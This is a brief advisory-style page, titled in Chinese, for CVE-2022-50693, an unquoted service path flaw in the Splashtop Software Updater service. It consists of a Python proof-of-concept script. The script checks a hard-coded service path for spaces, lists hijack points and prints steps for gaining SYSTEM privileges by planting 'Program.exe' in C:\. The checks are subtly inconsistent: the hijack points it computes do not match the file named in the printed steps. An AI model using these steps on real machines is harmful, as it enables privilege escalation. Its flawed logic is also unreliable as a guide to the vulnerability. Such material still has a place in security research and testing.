CVE-2022-50693 Splashtop软件更新服务未引号路径权限提升漏洞

# CVE-2022-50693 PoC - Unquoted Service Path # Target: Splashtop Software Updater Service # Path: C:\Program Files (x86)\Splashtop\Splashtop Software Updater\ import os import sys def check_unquoted_path(): """Check if Splashtop service has unquoted path vulnerability""" service_path = r'C:\Program Files (x86)\Splashtop\Splashtop Software Updater\SSUS.exe' # Check if path contains spaces (required for this vulnerability) if ' ' in service_path and '"' not in service_path: print(f"[*] Service path is unquoted: {service_path}") # Calculate potential hijack points parts = service_path.split('\\') for i, part in enumerate(parts): if ' ' in part: potential_exe = '\\'.join(parts[:i+1]) + '.exe' print(f"[!] Potential hijack point: {potential_exe}") # Check if malicious executable exists if os.path.exists(potential_exe): print(f"[!!] Malicious executable found: {potential_exe}") return True else: print("[-] Service path is properly quoted or no spaces") return False def exploit(): """Exploitation steps""" print("=" * 60) print("CVE-2022-50693 Exploitation Steps:") print("=" * 60) print("1. Create malicious executable named 'Program.exe'") print("2. Place it in C:\\ directory") print("3. Wait for Splashtop Software Updater Service restart") print("4. Malicious code executes with SYSTEM privileges") print("=" * 60) if __name__ == '__main__': check_unquoted_path() exploit()